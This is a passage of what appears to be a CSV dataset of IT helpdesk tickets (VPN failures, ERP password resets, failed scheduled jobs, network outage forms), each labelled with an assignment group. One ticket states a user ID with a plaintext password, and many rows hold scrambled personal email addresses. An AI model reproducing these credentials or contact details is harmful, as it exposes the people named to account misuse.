______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"eu remote fails to connect ... na remote terminates automatically i'm trying to connect to eu remote, but only get ..._x000D_ +_x000D_ +your session is finished. _x000D_ +logged out successfully._x000D_ +",GRP_0 +"erp password change with password_management_tool: error: password change failed. old password is invalidated hi gso,_x000D_ +i tried thrgxqsuojr xwbesorfs to renew my password from erp with password_management_tool password manager. it doesnt work...._x000D_ +_x000D_ +error message:_x000D_ +error: password change failed. old password is invalidated. please try again using a different password. failed to perform operation [reset]. _x000D_ +_x000D_ +please reset my password._x000D_ +_x000D_ +",GRP_0 +install hardcopy \ewew8323647 \rhaycqjg arcgonvy install hardcopy \ewew8323647 \rhaycqjg arcgonvy,GRP_24 +can not connect to the hana server via us vpn i'm using the us vpn as the european one is down fjaqbgnld yukdzwxs. i can't reach the hana box. i can connect to all other machines on the network. i have attached the reporting_tool failure and a tracert to the box. i have rebooted my machine and broadband.,GRP_0 +"circuit outage: germany ,erkheim-dmvpn-2821-rtr01 is down since 3:31 am et on 10/09. what type of outage: _____network _ x___circuit ____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____3:31 am et on 10/09.__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____na___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____yes__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _______na____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +probleme mit we110 \die druckerwarteschlange wird zurzeit nicht ausgeführt \fdyietau dvsyxwbu probleme mit we110 \die druckerwarteschlange wird zurzeit nicht ausgeführt \fdyietau dvsyxwbu,GRP_24 +paper jam for insert printer paper jam for insert printer ,GRP_31 +different problems - please reinstall eagw8111412 with current fy17 company image - upgrade ramdnty to 8gb different problems - please reinstall eagw8111412 with current fy17 company image - upgrade ramdnty to 8gb,GRP_28 +enter and edit the link vroxskje.bixtmefd@gmail.com need to enter and edit the link:{e248922f-456b-4fdd-8c6d-d94083a94009}&file=apac%20-%20approved%20exception%20list.xlsx&action=default,GRP_0 +"vpn not getting log in name:vithrkas +language: +browser:microsoft internet explorer +email:xiwegtas.ygrfbzon@gmail.com +customer number: +telephone: +summary:vpn not getting log in",GRP_0 +"i cant have preview of pictures in explorer. i just see icons. i cant have preview of pictures in explorer. i just see icons. +",GRP_28 +host HostName_1178 is disconnected in vsphere host HostName_1178 is disconnected in vsphere,GRP_12 +"vpn connection issue _x000D_ +_x000D_ +received from: qwvpgayb.amniujsh@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +i cannot access the vpn. when i click on ""open new session"" nothing happens._x000D_ +",GRP_0 +"erp password & password -- reg + +received from: xdvwitpm.zscxqdho@gmail.com + +sir, + +my user id is bathylardb & given password is india16. but im unable to login to the erp + +request you to reset the password & send the same. + +",GRP_0 +"job Job_481 failed in job_scheduler at: 10/10/2016 03:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_481 failed in job_scheduler at: 10/10/2016 03:09:00",GRP_8 +india pbx awyl8328998 is down since 2:56am et on 10/10/2016. india awyl8328998 is down since 2:56am et on 10/10/2016.,GRP_8 +"add user ashtusis pyhuule (phufsav) to active directory eagcutview add user ashtusis pyhuule (phufsav) to active directory eagcutview +remove user yhru manyhsu (ayujdm) from this ad. +",GRP_2 +"germany, germany:gigabitethernet2/0/17 on germany-edksw002-2960-stack-sw002 went down at 10/10/2016 2:25 am et germany, germany:gigabitethernet2/0/17 on germany-edksw002-2960-stack-sw002 went down at 10/10/2016 2:25 am et",GRP_8 +"reset password erp SID_34 + +received from: zuxcfonv.nyhpkrbe@gmail.com + +gso, + +please kindly reset password for zhhtyangq with erp SID_34 , ",GRP_0 +reeset password reeset password ,GRP_31 +skype läd auf dem pc nicht. skype wird nicht vom browser geladen auch nicht nach langer wartezeit ,GRP_0 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"unlock erp SID_34 _x000D_ +_x000D_ +received from: zuxcfonv.nyhpkrbe@gmail.com_x000D_ +_x000D_ +gso,_x000D_ +_x000D_ +please unlock the erp SID_34 for linz ,",GRP_0 +"skype not work. _x000D_ +_x000D_ +received from: yjwivxsh.fcetobrj@gmail.com_x000D_ +_x000D_ +dear it team._x000D_ +_x000D_ +my skype not work._x000D_ +_x000D_ +best ",GRP_0 +"no vpn access - pls help + +received from: luagmhds.iymwcelx@gmail.com + +hi helpdesk, + +when trying to access vpn, following message appears. +i am unable to get in by clicking ""click here""…. + +pls help because i am doing ppm reviews from outside company office with my team today and need access to data from company folders…. + +thx. + +[cid:image001.png@01d222c8.e67ad960] + + + +micheyi gyhus +vice president + +luagmhds.iymwcelx@gmail.com +company inc. | www.company.com< + +",GRP_0 +"germany can't connect using vpn (f5 networks) phone email iewnguxv.bufwxeiy@gmail.com + +germany can't connect to the local network using the f5-vpn connection. +it worked until saturday, sunday morning we got just the screen ' your logoff was successfully' +i called the phone support, he fixed this, +but now, after logon we can't reach erp and the servers in our plant.. +ping failed. +please fix this, our external employees can not work. +",GRP_0 +"job Job_1148 failed in job_scheduler at: 10/10/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 10/10/2016 01:15:00",GRP_9 +"cant connect to the network.mobile hot spot also not connecting.telecom_vendor_3 4g cant connect to the network.mobile hot spot also not connecting..telecom_vendor_3 4g +-hecked the network connection settings. +-restarted the system.tried to connect.getting limited +ph:",GRP_19 +"EU_tool, chargenverwaltung, pdv die systeme EU_tool, chargenverwaltung, pdv laufen absolut schlecht._x000D_ +man kann mit ihnen so"" nicht"" wirklich arbeiten._x000D_ +_x000D_ +",GRP_25 +"server HostName_1233 was down c:\users\virakv>ping HostName_1233.company.company.com_x000D_ +_x000D_ +pinging HostName_1233.company.company.com [61.01.52.0260] with 32 bytes of data:_x000D_ +request timed out._x000D_ +request timed out._x000D_ +request timed out._x000D_ +request timed out._x000D_ +_x000D_ +ping statistics for 61.01.52.0260:_x000D_ + packets: sent = 4, received = 0, lost = 4 (100% loss),",GRP_12 +"unable to generate sto as per purrqs 4121889522/00001 unable to generate sto as per purrqs 4121889522/00001 , please find the error message as attached file. please help fixing this issue aerp._x000D_ +",GRP_29 +"job Job_1141 failed in job_scheduler at: 10/09/2016 23:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1141 failed in job_scheduler at: 10/09/2016 23:45:00",GRP_9 +"vpn issue _x000D_ +_x000D_ +received from: ygkzwsud.cvjgkxws@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +my vpn page is not responding, unable to connect._x000D_ +_x000D_ +",GRP_0 +"cannot start outlook email _x000D_ +_x000D_ +received from: ynsqjehx.kqgrsawl@gmail.com_x000D_ +_x000D_ +hi it team,_x000D_ +_x000D_ +_x000D_ +since yesterday my laptop was unable to start outlook mail. i could only use web mail now._x000D_ +_x000D_ +any assistance to resolve this is appreciated._x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"job hr_payroll_na_u2 failed in job_scheduler at: 10/09/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 10/09/2016 23:00:00",GRP_10 +"job hr_payroll_na_u1 failed in job_scheduler at: 10/09/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 10/09/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 10/09/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 10/09/2016 23:00:00",GRP_10 +laptop cannot connect companysecure wifi network. laptop cannot connect companysecure wifi network.,GRP_31 +"server HostName_1274 is not reachable c:\users\virakv>ping HostName_1274_x000D_ +_x000D_ +pinging HostName_1274.company.company.com [82.02.04.7140] with 32 bytes of data:_x000D_ +request timed out._x000D_ +request timed out._x000D_ +request timed out._x000D_ +request timed out._x000D_ +_x000D_ +ping statistics for 82.02.04.7140:_x000D_ + packets: sent = 4, received = 0, lost = 4 (100% loss),_x000D_ +",GRP_12 +"please help for vpn connection, try to contacted but can't! name:wanayht +language: +browser:microsoft internet explorer +email:xztveoqs.zyrnqiav@gmail.com +customer number: +telephone: +summary:please help for vpn connection, try to contacted but can't!",GRP_0 +"dell:7350: laptop will not stay connected to the internet. name:stgyott gdhdyrham +language: +browser:microsoft internet explorer +email:stgyott.gdhdyrham@company.com +customer number: +telephone:+6sartlgeo lhqksbd +summary:hi i have a dell latitude 7350 which i use from home office & remotely. laptop will not stay connected to the internet. can you assist please?",GRP_0 +"msd crm--outlook 一直显示正在启动，不能进入正常界面。 please provide details of the issue._x000D_ +outlook 一直显示正在启动，不能进入正常界面。",GRP_31 +"erp SID_34 password _x000D_ +_x000D_ +received from: zuxcfonv.nyhpkrbe@gmail.com_x000D_ +_x000D_ +gso ,_x000D_ +_x000D_ +please reset password for hanx123 , ",GRP_0 +"hpqc installation _x000D_ +_x000D_ +received from: elixsfvu.pxwbjofl@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i'm trying to install hpqc for travel_tool uacyltoe hxgayczeing with my windows user name and password but have the following error message._x000D_ +_x000D_ +[cid:image001.png@01d222cf.33a9b3e0]_x000D_ +_x000D_ +best ",GRP_0 +"vpn not working for rjeyfxlg ltfskygw 219581173[‎10/‎10/‎2016 5:01 am] lzspyjki smdbqnef: +ok +[‎10/‎10/‎2016 5:02 am] lzspyjki smdbqnef: +bring up notepad +her name is oyunatye +[‎10/‎10/‎2016 5:03 am] +",GRP_0 +"job Job_1306 failed in job_scheduler at: 10/09/2016 18:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1306 failed in job_scheduler at: 10/09/2016 18:11:00",GRP_9 +"job Job_461 failed in job_scheduler at: 10/09/2016 17:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_461 failed in job_scheduler at: 10/09/2016 17:41:00",GRP_8 +"node HostName_1195 located at usa is down since 10/9/2016 10:32 am node HostName_1195 located at usa is down since 10/9/2016 10:32 am._x000D_ +_x000D_ +node down due to the power flap._x000D_ +check with the site admin during the business hours on monday.",GRP_8 +"HostName_1238:application plm - dsc file on node HostName_1238 is unreachable"" HostName_1238:application plm - dsc file on node HostName_1238 is unreachable"" ",GRP_14 +"HostName_521:application plm conversion server on node HostName_521 is warning"" action HostName_521:application plm conversion server on node HostName_521 is warning"" action ",GRP_14 +"job Job_1393 failed in job_scheduler at: 10/09/2016 10:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1393 failed in job_scheduler at: 10/09/2016 10:55:00",GRP_9 +"resetting of erp password _x000D_ +_x000D_ +received from: ngjztqai.xqjzpvru@gmail.com_x000D_ +_x000D_ +hi ,_x000D_ +_x000D_ +request you to reset my erp password._x000D_ +_x000D_ +",GRP_0 +"dpozkmie vjuybcwz 27367 erp account locked _x000D_ +_x000D_ +received from: boithdfa.tojwnydh@gmail.com_x000D_ +_x000D_ +please unlock account._x000D_ +_x000D_ +",GRP_0 +"job Job_1314 failed in job_scheduler at: 10/09/2016 09:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 10/09/2016 09:38:00",GRP_9 +"job snp_heu_1_regen failed in job_scheduler at: 10/09/2016 08:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_1_regen failed in job_scheduler at: 10/09/2016 08:51:00",GRP_6 +"HostName_977 :application tax_interface proc counts on node HostName_977 is critical"" the tax_interface webpage is reporting a : down status on, HostName_977. _x000D_ +application tax_interface proc counts on node HostName_977 is critical"" _x000D_ + application tax_interface prod app server on node HostName_977 is dow",GRP_14 +"job Job_3051 failed in job_scheduler at: 10/09/2016 05:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3051 failed in job_scheduler at: 10/09/2016 05:40:00",GRP_8 +"job Job_3049 failed in job_scheduler at: 10/09/2016 05:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 10/09/2016 05:30:00",GRP_8 +"unable to create customers in engineering tool name : ilhcgoqf xlibynvc +email : ilhcgoqf.xlibynvc@gmail.com +telephone : +summary : hello, i have problems with my engineering_tools. it is impossible to create a new customer.",GRP_25 +"job Job_3343 failed in job_scheduler at: 10/09/2016 04:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3343 failed in job_scheduler at: 10/09/2016 04:30:00",GRP_8 +笔记本重新装下系统 把我的笔记本重新装下系统,GRP_30 +有一个链接文件打不开 有一链接文件打不开，提示版本低,GRP_30 +"EU_tool - worklist is not available, confirmation is also not possible. the last worklist was created on friday, october 8th at 3:50 am.",GRP_25 +"job Job_3343 failed in job_scheduler at: 10/09/2016 02:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3343 failed in job_scheduler at: 10/09/2016 02:00:00",GRP_8 +"job Job_3051 failed in job_scheduler at: 10/09/2016 01:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3051 failed in job_scheduler at: 10/09/2016 01:08:00",GRP_8 +"job pp_EU_tool_netch_keheu1 failed in job_scheduler at: 10/09/2016 00:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_keheu1 failed in job_scheduler at: 10/09/2016 00:37:00",GRP_8 +"job Job_3049 failed in job_scheduler at: 10/09/2016 00:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 10/09/2016 00:35:00",GRP_8 +"job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 10/09/2016 00:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 10/09/2016 00:20:00",GRP_8 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/09/2016 00:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/09/2016 00:16:00",GRP_8 +"job pp_EU_tool_netch_ap2 failed in job_scheduler at: 10/09/2016 00:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap2 failed in job_scheduler at: 10/09/2016 00:03:00",GRP_8 +"job Job_452 failed in job_scheduler at: 10/08/2016 21:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +10/8/2016 9:38:53 pm :: unable to allocate processing resources. error: all backup proxies are offline or outdated _x000D_ +_x000D_ +_x000D_ +job Job_452 failed in job_scheduler at: 10/08/2016 21:39:00",GRP_8 +"customer accounts contact list are not populating in crm dynamics hello, +the issue: contacts that have been designated to track in crm are not showing up in crm and i'm not sure why. see the screen shots below + + + + +biyhll kthyarg +sales engineer - wc1 team + +smhepfdn.aypgzieh@gmail.com + + +",GRP_40 +"password resset request from: rakthyesh ramdntythanjesh +sent: sunday, october 09, 2016 4:41 am +to: kzishqfu bmdawzoi +cc: tiyhum kuyiomar +subject: re: request to reset microsoft online services password for hgudmrta.vidzoqfl@gmail.com + +dear dene, + + +• accounts status is unlocked for user hgudmrta.vidzoqfl@gmail.com + +please note the following url using which you can unlock all accounts and setup one single password for access across all systems from any other pc connected to the company network. + + + +for a step by step guide on how to use this site, click on the following link + + + +let me know if you need more information or assistance on this matheywter. + + +kind ",GRP_0 +password reset request password reset request,GRP_0 +"distributor_tool npr error code email screen shot of error. duane said ""remember seeing a similar error during uacyltoe hxgayczeing that we resolved which had to do with the customer master. i think it had to do with a uacyltoe hxgaycze request and using the actual customer rather than the requester as the t&d customer.""_x000D_ +_x000D_ +this npr is for a quote & not a t&d order._x000D_ +",GRP_21 +"job bkbackup_tool_powder_prod_full failed in job_scheduler at: 10/08/2016 18:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_powder_prod_full failed in job_scheduler at: 10/08/2016 18:36:00",GRP_8 +"erp password reset ic_x000D_ + welcome, our next available agent will be with you shortly..._x000D_ + interaction alerting agent._x000D_ + website visitor has joined the conversation_x000D_ +rakthyesh ramdntythanjesh_x000D_ + hi ramdntythanjesh_x000D_ +ramdntythanjesh_x000D_ + hi rakthyesh_x000D_ +rakthyesh ramdntythanjesh_x000D_ + ",GRP_0 +HostName_1015:volume: c:\ is over 85% space consumed. space available: 4.7 g HostName_1015:volume: c:\ is over 85% space consumed. space available: 4.7 g,GRP_12 +"job Job_480 failed in job_scheduler at: 10/08/2016 13:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_480 failed in job_scheduler at: 10/08/2016 13:38:00",GRP_12 +"tax rate mismatch _x000D_ +_x000D_ +received from: ikerxqwz.prkyuitl@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +during the ongoing internal audit conducted by e&y , it was observed that in list of inwarehouse_tools attached , tax rate was different from the one updated in the product hierarchy_x000D_ +_x000D_ +request you to look into the reason for few samples and identify reasons why incorrect tax rate was captured in inwarehouse_tool tax and not as per product hierarchy ._x000D_ +_x000D_ +also let us know whether it was system error ._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_29 +"job Job_484 failed in job_scheduler at: 10/08/2016 12:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_484 failed in job_scheduler at: 10/08/2016 12:11:00",GRP_8 +"mobile device activation from: ftnijxup sbltduco _x000D_ +sent: saturday, october 08, 2016 8:29 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: wg: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird._x000D_ +_x000D_ +help desk,_x000D_ +please take my new iphone 6s out of quarantine._x000D_ +_x000D_ +",GRP_0 +"erp locked - please reset for nabjwvtd sprhouiv 27388 _x000D_ +_x000D_ +received from: boithdfa.tojwnydh@gmail.com_x000D_ +_x000D_ +",GRP_0 +unable to see emails which are older than 30 days unable to see emails which are older than 30 days,GRP_0 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"network outage: india, in- orelikon balzers coating india limited site is hard down since 7:42 am at 10/ 8 et what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____7:42 am at 10/ 8 et __________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +blank call // gso // loud noise blank call // gso // loud noise,GRP_0 +"telephone repair pu-4 (shop floor 173 connection) + +received from: segvwfyn.mogtrevn@gmail.com + +dear sir +request you to depute telephone repair person to pu-4 shop floor (173 shop floor connection) as it not working…. + +segvwfyn mogtrevn +assistant manager- manufacturing +segvwfyn.mogtrevn@gmail.com + + +[cid:image009.jpg@01SID_35d8e.07ce5550] + +",GRP_19 +call came and got disconnected call came and got disconnected,GRP_0 +"supply_chain_software password reset from: ftnijxup sbltduco _x000D_ +sent: saturday, october 08, 2016 2:23 pm_x000D_ +to: qaohugxw kdeqjncw; nwfodmhc exurcwkm_x000D_ +subject: re: my access to supply_chain_software is blocked _x000D_ +_x000D_ +_x000D_ +help desk,_x000D_ +please check pathuick's account in supply_chain_software. _x000D_ +_x000D_ +",GRP_0 +"supply_chain_software password reset supply_chain_software password reset + +from: ftnijxup sbltduco +sent: saturday, october 08, 2016 2:21 pm +to: thsyrley shi; nwfodmhc exurcwkm +subject: re: 答复: finished: start of s&op process + +help desk, +please check thsyrley's account in supply_chain_software and assist for sign-on. + +",GRP_0 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +usa plant - company-na-usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 4:53am et on 10/08/16 usa plant - company-na-usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 4:53am et on 10/08/16,GRP_8 +reset passwords for jvpkulxw ovuweygj using password_management_tool password reset. reset passwords for jvpkulxw ovuweygj using password_management_tool password reset.,GRP_0 +account got locked account got locked,GRP_0 +"send e-mail from engineering tool doesn't work anymore since feb / march 2016 it's not possible to send e-mail for the user details dialog anymore (e-mail address). it used to work before._x000D_ +that function is very helpful for the end user to contact the designer on issues/question directly from engineering tool without leaving engineering tool._x000D_ +see attachments (dialog and error message)",GRP_11 +"ms outlook2013 一直显示正在启动，不能显示正常界面 please provide details of the issue._x000D_ +ms outlook2013 一直显示正在启动，不能显示正常界面",GRP_31 +"job Job_2080 failed in job_scheduler at: 10/08/2016 02:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2080 failed in job_scheduler at: 10/08/2016 02:24:00",GRP_6 +"job Job_2039 failed in job_scheduler at: 10/08/2016 02:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2039 failed in job_scheduler at: 10/08/2016 02:22:00",GRP_6 +"job Job_2074 failed in job_scheduler at: 10/08/2016 02:07:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2074 failed in job_scheduler at: 10/08/2016 02:07:00",GRP_6 +"unable to do kis for dn 8058280136 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +pls help to check dn 9169391247, we unable to do kis for this dn, ",GRP_18 +"job bkbackup_tool_reporting_tool_prod_full failed in job_scheduler at: 10/08/2016 01:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_reporting_tool_prod_full failed in job_scheduler at: 10/08/2016 01:12:00",GRP_8 +"erp SID_34 account + +received from: zuxcfonv.nyhpkrbe@gmail.com + +gso + +please unlock and reset password for lij8syte ,also send password to jinxyhdi luji ,",GRP_0 +"job Job_1329 failed in job_scheduler at: 10/08/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1329 failed in job_scheduler at: 10/08/2016 00:11:00",GRP_9 +"power outage: engineering_toolkuznetsk warehouse - (company) network is down since 10:52pm et on 10/07/2016 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________10:52pm et on 10/07/2016______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______no_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_549 failed in job_scheduler at: 10/07/2016 23:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_549 failed in job_scheduler at: 10/07/2016 23:05:00",GRP_8 +"job Job_549 failed in job_scheduler at: 10/07/2016 23:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_549 failed in job_scheduler at: 10/07/2016 23:05:00",GRP_8 +"account is expired + +received from: zuxcfonv.nyhpkrbe@gmail.com + +gso, + +the account vvlixthy is expired , could you extend the account date to oct 8 2018 , jacyhky liuhyt is sponsor is jacyhky liuhyt , ",GRP_2 +account is locked account is locked ,GRP_31 +"答复: password_management_tool + +received from: weqocbnu.eoixcpvy@gmail.com + +hi all + + +please reset my password for SID_78 for my entering error more than 3 times. + +user name : caoryhuq + + + +日常业务，请发送至south.service@company.com公共邮箱 + +best ",GRP_0 +电脑登录密码忘记，重置密码。 电脑登录密码忘记，重置密码。,GRP_31 +password reset using password_management_tool password reset using password_management_tool,GRP_0 +node usa pbx (10.1.19.200 ) located at usa is down since 7:14 pm et on 10/07. node usa pbx (10.1.19.200 ) located at usa is down since 7:14 pm et on 10/07.,GRP_37 +unable to save excel document unable to save excel document,GRP_0 +unable to sync some files in collaboration_platform unable to sync some files in collaboration_platform,GRP_0 +ticket update on inplant_867667 ticket update on inplant_867667,GRP_0 +ticket update on inplant_867672 ticket update on inplant_867672,GRP_0 +unable to log in to engineering tool unable to log in to engineering tool,GRP_0 +blue screen on start up blue screen on start up,GRP_3 +unable to sign in to skype meeting unable to sign in to skype meeting,GRP_0 +outlook not opening up: stuck on loading screen outlook not opening up: stuck on loading screen ,GRP_0 +"vpn issue +telephone: +summary:i cannot get vpn to connect on my computer.",GRP_0 +engineering_tool and infopath issue sqlcuhep railgnfb called in for an issue where he was unable to launch engineering_tool and unable to fill up a discount form.,GRP_0 +unable to view mails more than 3 days unable to view mails more than 3 days,GRP_0 +"jabra headset issue i needed a hand setting up jabra pro headset for skype calls. i have installed drivers, just not sure what else needs to be done. +contact # : ",GRP_0 +"unlock account email in cell phone the user vhjkdqop tkhafgrc id:sanchrtyn hello team, + +could you please unlock account email in cell phone the user vhjkdqop tkhafgrc id: sanchrtyn ? + +",GRP_0 +qhjkxoyw lgiovknd called as he wanted to speak to tiyhum kuyiomar qhjkxoyw lgiovknd called as he wanted to speak to tiyhum kuyiomar,GRP_0 +unable to log in to supply_chain_software unable to log in to supply_chain_software,GRP_0 +"call from vythytalyst : uploading group of contacts to crm call from vythytalyst : uploading group of contacts to crm issue +contact # : +while synchronizing contacts from outlook to crm +1> its not synchronizing complete list of contacts. +2>its moving those contacts from outlook and keeping in crm",GRP_40 +"need this fixed + +received from: oetlgbfw.bsctrnwp@gmail.com + +i don't have access to below + + + +prerequisites: + +you must have the infopath filler client to complete and submit the lra form. please contact the gsc and open a remedy ticket for the pc support group if you do not have the infopath filler client. + +to determine if you have the infopath filler client, click on the start button and choose all programdntys. + +click on microsoft office group, you should see the microsoft infopath filler client: + + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com + + + + + + +",GRP_0 +unable to open engineering_tool application unable to open engineering_tool application,GRP_0 +engineering tool issue engineering tool issue,GRP_0 +business_client : .net error message business_client : .net error message ,GRP_0 +unable to enter mileage details. site not loading. unable to enter mileage details,GRP_0 +ticketing_tool issue - cannot seem to create a new subtask from the ticketing_tool console. ticketing_tool issue - cannot seem to create a new subtask from the ticketing_tool console. the area to create a new sub-task seems to be missing. we were asked to create separate tasks for server decommissioning and neither me nor ron mcgee can seem to create a sub-task on a ticket any more. ,GRP_0 +client is having issues with excel crashing client is having issues with excel crashing,GRP_3 +"hpqc uacyltoe hxgaycze installation +summary:i need help downloading a uacyltoe hxgaycze application, can someone take over my screen and help me out?",GRP_0 +subbathykrisyuhnyrt shhuivashankar company provided phone activation subbathykrisyuhnyrt shhuivashankar company provided phone activation,GRP_0 +ticket update on inplant_867618 ticket update on inplant_867618,GRP_0 +unable to access easyterritory map view builder unable to access easyterritory map view builder,GRP_22 +"crm : voucher - email resend issue when attempting to email a voucher following the standard procedure, i enter the email address and press ""send email"" and the page goes completely blank. i then need to resign onto SID_39, and the email has not been sent._x000D_ +_x000D_ +please review and 